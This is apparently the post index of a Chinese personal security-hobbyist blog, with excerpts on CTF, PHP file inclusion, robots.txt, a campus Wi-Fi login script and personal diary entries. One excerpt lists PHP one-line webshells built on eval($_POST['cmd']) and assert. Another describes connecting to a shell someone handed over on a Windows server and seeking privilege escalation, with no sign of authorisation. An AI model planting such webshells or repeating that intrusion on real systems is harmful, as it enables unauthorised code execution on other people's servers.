Starry sky

2023.1.6更新：原来域名bbs.xiao-xin6.cn已完成过渡工作现已设置301跳转至blog.xioxix.com 本站已从原先的域名(bbs.xiao-xin6.cn)切换到新的域名(blog.xioxix…

需要用到的工具 Python https://www.python.org/downloads/ Natter.py https://github.com/MikeWang000000/Natter/tree/v0.9 …

由于回了村里，没有限制所以可以燃放烟花爆竹 于是当天晚上也是非常的热闹哦~ 新的一年新的开始，今天也是收获红包最多的一天😂（其实怪不好意思的） 期间领取了好多红包封面（你们觉得哪张最好看呢） 昨晚的杰作↓ 初一的晚霞 今…

今天是 2022 最后一天，憋了半天的总结 今年一共发出了7篇文章，目前来说算是建站以来发布的文章最多的一年。 今年添加了 8 个新友链，现在我有 11 个友链了。（各位大佬新年快乐呀） 主页换了一个新的，更符合我的审美…

robots.txt是一个协议，而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。在CTF中常用于提示解题思路 &nb…

File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，req…

开新坑的第一篇文章，这是一次线上CTF中的真题，记录一下解题过程 CTF 是 Capture The Flag 的简称，中文咱们叫夺旗赛，其本意是西方的一种传统运动。在比赛上两军会互相争夺旗帜，当有一方的旗帜已被敌军夺取…

昨晚上网冲浪的时候有一个网友丢了个shell给我，于是便有了下面的内容。 先使用蚁剑连接上该shell 到了这里可以发现，是一台Windows的服务器，而且使用了宝塔。 接下来开始寻找提权方法 游历目录的时候发现宝塔官方…

由于学校采用Giwifi作为校园网接入点，每天凌晨都需要重新认证，于是便有了这个脚本 不需要多余的任何操作，只需要将代码里的 ‘name’: ‘your iphone’, ‘password’: ‘password’, …

1、eval.php <?php @eval($_POST['cmd'])?> <?php @eval($_GET['cmd'])?> 2、assert.php <?php assert($…